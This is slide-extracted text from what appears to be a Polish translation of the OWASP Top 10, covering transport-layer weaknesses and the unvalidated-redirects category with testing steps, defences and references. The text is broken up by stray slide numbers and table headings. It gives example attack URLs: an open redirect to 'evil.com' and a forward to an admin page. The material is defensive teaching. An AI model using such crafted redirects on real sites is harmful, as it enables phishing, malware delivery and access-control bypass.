    Atak #1: Strona nie używa SSL na stronach z wymagana autentykacja. Atakujący monitoruje ruch sieciowy (w sieci WiFi lub sieci lokalnej) I zbiera dane autentykacyjne typu ID sesji, zawartość ciasteczek. Zebrane w ten sposób dane mogą być użyte w celu ich odtworzenia I zalogowania się na konta ofiar.
    Atak #2: Strona posiada niepoprawnie skonfigurowany certyfikat. Użytkownicy aby korzystać ze strony musza akceptować ostrzeżenia. W wyniku ataku phishingowego użytkownicy nie odróżniają certyfikatów prawdziwych od fałszywych, co w efekcie może doprowadzić do ujawnienia prywatnych danych
    Atak#3: Strona używa polaczeń ODBC/JDBC bez szyfrowania, w rezultacie cały ruch jest nieszyfrowany I podatny na atak.
  • 61. Brak walidacji przekierowań
    A10
    Słabosci Bezpieczeństwa
    Wpływ
    Techniczny
    Wpływ
    Biznesowy
    Wektory
    Ataku
    Słabosci Bezpieczeństwa
    Czynniki
    Zagrożenia
    Czy jestem podatny?
    Najlepszym sposobem na sprawdzenie czy aplikacja jest podatna brak walidacji przekierowań jest:
    Analiza kodu dla wszystkich użytkowników używających przekierowań (‘transfer’ w .NET). Dla każdego przypadku sprawdź czy docelowy URL jest używany jako wartość któregokolwiek z parametrów. Jeżeli tak, zweryfikuj parametry tak aby zawierały tylko dozwolone lokalizacje lub cześć z tych lokalizacji.
    Sprawdź stronę crwawlerem czy w odpowiedzi na któryś z linków otrzymać odpowiedz HTTP z kodami w zakresie 300 – 307(najczęściej jest to 302) . Sprawdź parametry przed zapytaniem czy któryś z nich odpowiada wynikowi przekierowania. Jeżeli tak, zmień go I sprawdź czy zmienia się również strona docelowa.
    Jeżeli kod aplikacji jest niedostępny, sprawdź wszystkie parametry czy wyglądają na przekierowanie I przetestuj je.
    Jak temu zapobiec?
    Jest wiele sposobów na zabezpieczenie odwołań I przekierowań”
    Nie używaj przekierowań
    Jeżeli używasz, nie pobieraj danych od użytkownika
    Jeżeli trzeba pobierać dane od użytkownika, upewnij się ze są one poprawne oraz udostępnione dla użytkownika.
    Zaleca się aby docelowa lokalizacja była zmapowana dla danej wartości zamiast pełnego lub częściowego adresu URL.
    Można użyć ESAPI w celu nadpisania metody sendRedirect() tym samym czyniąc ja zabezpieczona na przekierowania..
    Bardzo ważne jest aby unikać tego rodzaju błędów ponieważ jest to główny cel ataku Phisherow.
    Przykładowe ataki
    Atak #1: Aplikacja posiada stronę pod nazwa: “redirect.jsp” Strona pobiera argument ‘url’. Atakujący tworzy szkodliwe zapytanie które przekieruje ofiarę na stronę która zainstaluje malware lub wyłudzi dane:
    http://www.example.com/redirect.jsp?url=evil.com
    Atak #2: Aplikacja używa przekierowań w celu przeniesienia użytkownika na różne części serwisu. Aplikacja mogą decydować w które miejsce należy przekierować użytkownika po poprawnej autoryzacji. W tym przypadku atakujący omija kontrole dostępu wykorzystując przekierowanie do panelu administratora:
    http://www.example.com/boring.jsp?fwd=admin.jsp
    Odwołania
    OWASP
    • OWASP Article on Open Redirects
    • 62. ESAPI SecurityWrapperResponse sendRedirect() method
    Zewnętrzne
    • CWE Entry 601 on Open Redirects
    • 63. WASC Article on URL Redirector Abuse
    • 64. Google blog article on the dangers of open redirects
  • Informacje dla deweloperów
    +D
  • 65. Co dalej dla weryfikatorów
    +V
  • 66. Co dalej dla organizacji
    +O
  • 67. Ryzyko
    +R
    Security Weakness
    Technical Impacts
    BusinessImpacts
    Attack
    Vectors
    Czynnik zagrożenia
    2
  • 68. Szczegóły czynników ryzyka
    +F
    Słabości Bezpieczeństwa
    Wpływy
    Techniczne
    Wpływy
    Biznesowe
    Wektory
    Ataku
    Czynniki
    Zagrożenia
    Wystepowanie
    Wykrywalność
    Wykorzystanie
    Wpływ